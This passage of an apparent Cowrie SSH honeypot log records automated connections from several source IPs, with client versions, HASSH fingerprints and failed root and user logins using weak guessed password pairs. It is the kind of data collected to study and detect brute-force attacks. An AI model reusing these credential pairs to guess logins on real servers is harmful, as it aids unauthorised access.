{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:02.505562Z","src_ip":"45.156.87.147","session":"140959a1af7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:02.764519Z","src_ip":"45.156.87.147","session":"140959a1af7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:03.052861Z","src_ip":"8.219.200.1","session":"5509d91bb7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:03.857774Z","src_ip":"45.156.87.147","session":"140959a1af7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:04.291725Z","src_ip":"8.219.200.1","session":"5509d91bb7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44940,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa8049fc2e3b","protocol":"ssh","message":"New connection: 45.156.87.147:44940 (10.17.0.5:22) [session: aa8049fc2e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:08.603734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:08.607821Z","src_ip":"45.156.87.147","session":"aa8049fc2e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:08.690748Z","src_ip":"45.156.87.147","session":"aa8049fc2e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"password","message":"login attempt [tester/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:08.942619Z","src_ip":"45.156.87.147","session":"aa8049fc2e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:10.031734Z","src_ip":"45.156.87.147","session":"aa8049fc2e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":37478,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6e954aae075","protocol":"ssh","message":"New connection: 103.82.20.28:37478 (10.17.0.5:22) [session: c6e954aae075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:12.083221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:12.087523Z","src_ip":"103.82.20.28","session":"c6e954aae075","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:12.340091Z","src_ip":"103.82.20.28","session":"c6e954aae075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260991","message":"login attempt [root/260991] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:13.100431Z","src_ip":"103.82.20.28","session":"c6e954aae075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:14.356806Z","src_ip":"103.82.20.28","session":"c6e954aae075","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":39900,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f09e260996","protocol":"ssh","message":"New connection: 103.77.242.62:39900 (10.17.0.5:22) [session: 64f09e260996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:14.531028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:14.535359Z","src_ip":"103.77.242.62","session":"64f09e260996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37594,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5fefd2b1957","protocol":"ssh","message":"New connection: 45.156.87.147:37594 (10.17.0.5:22) [session: b5fefd2b1957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:14.673871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:14.678227Z","src_ip":"45.156.87.147","session":"b5fefd2b1957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:14.763037Z","src_ip":"45.156.87.147","session":"b5fefd2b1957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:14.774663Z","src_ip":"103.77.242.62","session":"64f09e260996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:15.023384Z","src_ip":"45.156.87.147","session":"b5fefd2b1957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100884","message":"login attempt [root/100884] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:15.492816Z","src_ip":"103.77.242.62","session":"64f09e260996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:16.108494Z","src_ip":"45.156.87.147","session":"b5fefd2b1957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:16.734818Z","src_ip":"103.77.242.62","session":"64f09e260996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.235.114","src_port":50760,"dst_ip":"159.203.135.109","dst_port":22,"session":"333b20da5424","protocol":"ssh","message":"New connection: 103.189.235.114:50760 (159.203.135.109:22) [session: 333b20da5424]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:20.683681Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:20.687919Z","src_ip":"103.189.235.114","session":"333b20da5424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50030,"dst_ip":"10.17.0.5","dst_port":22,"session":"18af73cfa450","protocol":"ssh","message":"New connection: 45.156.87.147:50030 (10.17.0.5:22) [session: 18af73cfa450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:20.901125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:20.904706Z","src_ip":"45.156.87.147","session":"18af73cfa450","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:20.927525Z","src_ip":"103.189.235.114","session":"333b20da5424","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:20.988446Z","src_ip":"45.156.87.147","session":"18af73cfa450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:21.250192Z","src_ip":"45.156.87.147","session":"18af73cfa450","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webcall","password":"webcall","message":"login attempt [webcall/webcall] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:21.925038Z","src_ip":"103.189.235.114","session":"333b20da5424","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:22.392863Z","src_ip":"45.156.87.147","session":"18af73cfa450","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:23.167109Z","src_ip":"103.189.235.114","session":"333b20da5424","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50046,"dst_ip":"10.17.0.5","dst_port":22,"session":"3303001587d2","protocol":"ssh","message":"New connection: 45.156.87.147:50046 (10.17.0.5:22) [session: 3303001587d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:26.887673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:26.891431Z","src_ip":"45.156.87.147","session":"3303001587d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:26.977090Z","src_ip":"45.156.87.147","session":"3303001587d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12345678","message":"login attempt [user/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:27.231461Z","src_ip":"45.156.87.147","session":"3303001587d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:28.322212Z","src_ip":"45.156.87.147","session":"3303001587d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37430,"dst_ip":"10.17.0.5","dst_port":22,"session":"125937599068","protocol":"ssh","message":"New connection: 45.156.87.147:37430 (10.17.0.5:22) [session: 125937599068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:32.797972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:17:32.801936Z","src_ip":"45.156.87.147","session":"125937599068","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh